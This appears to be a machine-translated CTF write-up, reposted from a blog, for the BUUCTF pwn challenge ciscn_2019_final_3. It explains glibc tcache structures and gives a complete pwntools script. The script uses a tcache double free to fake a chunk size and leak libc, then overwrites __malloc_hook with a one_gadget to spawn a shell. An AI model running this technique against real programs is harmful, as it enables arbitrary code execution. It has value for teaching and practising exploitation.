[BUUCTF] PWN —— ciscn_2019_final_3 (tcache dup)

ciscn_2019_final_3

anexo

degrau:

  1. Inspeção de rotina, programa de 64 bits, proteção total
    Insira a descrição da imagem aqui
  2. Faça um teste local para ver a situação geral, a dica é uma pilha de perguntas
    Insira a descrição da imagem aqui
  3. Ida load
    add ()
    Insira a descrição da imagem aqui
    remove () de 64 bits
    Insira a descrição da imagem aqui

tarefa

Primeiro contato com o tcache, de acordo com ctfwiki e este artigo para entender brevemente o tcache

O nome completo do tcache é thread local caching, que cria um cache para cada thread, de modo a realizar um algoritmo de alocação sem bloqueio e tem uma boa melhoria de desempenho. lib-2.26 [após 2.23] oficialmente fornece este mecanismo e é habilitado por padrão.

tcache apresenta duas novas estruturas tcache_entrye tcache_perthread_struct.

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;        //每个被放入相应bins中的chunk都会在其用户数据中包含一个tcache_entry(FD指针)。指向同bins中的下一个chunk,构成单链表
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];     //数组counts用于存放每个bins中的chunk数量
  tcache_entry *entries[TCACHE_MAX_BINS];   //数组entries用于放置64个bins
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

Para a introdução específica do tcache, consulte o link acima.

Use ideias:

  1. Use a vulnerabilidade uaf, aponte para o campo de tamanho de um heap e, em seguida, modifique-o para 0x400 ou mais, você pode inserir o bin não classificado em delete
  2. Através de uaf e malloc, o endereço de main_arena + 96 pode ser vazado, vazando assim o endereço de libc
  3. Hijack a função free_hook, modifique-a para o sistema e, em seguida, libere um pedaço com a string / bin / sh ou use diretamente one_gadget

Como meu ubuntu18.04 foi baixado recentemente, ele tem uma proteção aprimorada para reparar o duplo buraco livre, então não posso mover a captura de tela para explicá-lo e só posso fazer upload do código diretamente.

Quando o tamanho for menor do que o tamanho do bin pequeno (0x400), coloque-o no tcache correspondente primeiro, até que o tcache seja preenchido (o padrão é 7) e, em seguida, coloque-o no fastbin ou no bin não classificado. O
endereço libc vazado geralmente passa por unsortbin. Na presença do tcache, os programas de 64 bits precisam se inscrever para chunks de tamanho maior que 0x400 antes de poderem entrar em unsortbin depois de serem livres, para que possamos modificar o tamanho dos chunks.
Como o programa imprimirá o endereço do heap alocado para nós mais tarde, devemos encontrar uma maneira de alocar pedaços para o endereço libc. Após a sobreposição, a parte fd em tcache pode ser alterada para a parte fd de unsortbin, que pode ser alocada para o espaço de endereço libc

#encoding:utf-8
from pwn import *

#io=remote('node3.buuoj.cn',29277)
io=process('./ciscn_final_3')
libc=ELF('./libc.so.6')

context.log_level='debug'

def add(idx,size,data):
    io.recvuntil('choice > ')
    io.sendline('1')
    io.recvuntil('the index')
    io.sendline(str(idx))
    io.recvuntil('the size')
    io.sendline(str(size))
    io.recvuntil('something')
    io.sendline(data)
    io.recvuntil('gift :')
    return int(io.recvline()[2:],16)

def free(idx):
    io.recvuntil('choice > ')
    io.sendline('2')
    io.recvuntil('the index')
    io.sendline(str(idx))   

heap=add(0,0x78,'a')#0
print(hex(heap))
add(1,0x18,'b')#1
add(2,0x78,'c')#2
add(3,0x78,'d')#3 
add(4,0x78,'c')#4
add(5,0x78,'d')#5 
add(6,0x78,'c')#6
add(7,0x78,'d')#7 
add(8,0x78,'c')#8
add(9,0x78,'d')#9 
add(10,0x78,'c')#10
add(11,0x78,'d')#11
add(12,0x28,'d')#12

#gdb.attach(io)
#dup 
free(12)
free(12)
add(13,0x28,p64(heap-0x10))#4 修改为chunk0 size的地址
add(14,0x28,p64(heap-0x10))#5
add(15,0x28,p64(0)+p64(0x421))#get chunk0->size,size需要超过0x400才能进unsortbin
gdb.attach(io)

#overlap
free(0) #unsort_bin chunk0->fd=libc
free(1) #tcache
add(16,0x78,'e')#7  从unsortbin分下一块,后面依然在unsortbin里 chunk1->fd=libc
add(17,0x18,'f')#8  get chunk1
libc_base=add(18,0x18,'g')-0x3ebca0#9   get libc
malloc_hook=libc_base+libc.sym['__malloc_hook']
one_gadget=libc_base+0x10a38c
print(hex(libc_base),hex(malloc_hook))

#dup
free(5)
free(5)
add(19,0x78,p64(malloc_hook))
add(20,0x78,p64(malloc_hook))
add(21,0x78,p64(one_gadget))
#getshell
io.sendline('1')
io.sendline('22')
io.sendline('0;cat flag')

io.interactive()

Insira a descrição da imagem aqui

Wp de referência:
https://www.cnblogs.com/pppyyyzzz/p/14040210.html
https://www.shangmayuan.com/a/c9cb50dbdea54d96a8619a3d.html
https://www.yuque.com/hxfqg9/bin/ms60xm

Acho que você gosta

Origin blog.csdn.net/mcmuyanga/article/details/113995633
Recomendado
Clasificación